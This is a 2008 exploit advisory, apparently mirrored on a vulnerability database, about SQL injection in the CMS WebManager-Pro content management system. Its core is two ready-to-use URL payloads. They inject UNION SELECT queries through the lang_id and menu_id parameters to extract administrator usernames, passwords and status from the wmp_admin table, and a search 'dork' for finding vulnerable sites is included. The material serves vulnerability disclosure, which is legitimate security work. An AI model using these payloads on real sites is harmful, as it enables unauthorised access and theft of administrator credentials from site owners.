CMS WebManager-Pro Multiple Remote SQL Injection Vulnerabilities

🗓️ 19 May 2008 00:00:00Reported by RootType

CMS WebManager-Pro Remote SQL Injection Vulnerabilities. Discoverer: dun[at]strcpy.e


                                                &nbsp;&nbsp;:::::::-.&nbsp;&nbsp;&nbsp;...&nbsp;&nbsp;&nbsp;&nbsp;::::::.&nbsp;&nbsp;&nbsp;&nbsp;:::.
&nbsp;&nbsp;&nbsp;;;,&nbsp;&nbsp;&nbsp;`';,&nbsp;;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;;`;;;;,&nbsp;&nbsp;`;;;
&nbsp;&nbsp;&nbsp;`[[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[[[['&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[[[&nbsp;&nbsp;[[[[[.&nbsp;'[[
&nbsp;&nbsp;&nbsp;&nbsp;$$,&nbsp;&nbsp;&nbsp;&nbsp;$$$$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$$$&nbsp;&nbsp;$$$&nbsp;&quot;Y$c$$
&nbsp;&nbsp;&nbsp;&nbsp;888_,o8P'88&nbsp;&nbsp;&nbsp;&nbsp;.d888&nbsp;&nbsp;888&nbsp;&nbsp;&nbsp;&nbsp;Y88
&nbsp;&nbsp;&nbsp;&nbsp;MMMMP&quot;`&nbsp;&nbsp;&nbsp;&quot;YmmMMMM&quot;&quot;&nbsp;&nbsp;MMM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;YM

&nbsp;&nbsp;&nbsp;[&nbsp;Discovered&nbsp;by&nbsp;dun&nbsp;\&nbsp;dun[at]strcpy.eu&nbsp;]

&nbsp;##################################################################
&nbsp;#&nbsp;&nbsp;[&nbsp;&nbsp;CMS&nbsp;Webmanager-pro&nbsp;]&nbsp;&nbsp;&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;&nbsp;#
&nbsp;##################################################################
&nbsp;#
&nbsp;#&nbsp;Script&nbsp;site:&nbsp;&nbsp;http://webmanager-pro.com/
&nbsp;#&nbsp;
&nbsp;#&nbsp;Vuln:&nbsp;
&nbsp;#&nbsp;http://site.com/index.php?lang_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/*
&nbsp;#&nbsp;http://site.com/index.php?menu_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/*
&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;#&nbsp;Dork&nbsp;example:&nbsp;&quot;CMS&nbsp;Webmanager-pro&quot;
&nbsp;#
&nbsp;###############################################
&nbsp;#&nbsp;Greetz:&nbsp;D3m0n_DE&nbsp;*&nbsp;sid_psycho&nbsp;*&nbsp;and&nbsp;otherz..
&nbsp;###############################################

&nbsp;[&nbsp;dun&nbsp;/&nbsp;2008&nbsp;]&nbsp;

*******************************************************************************************

19 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1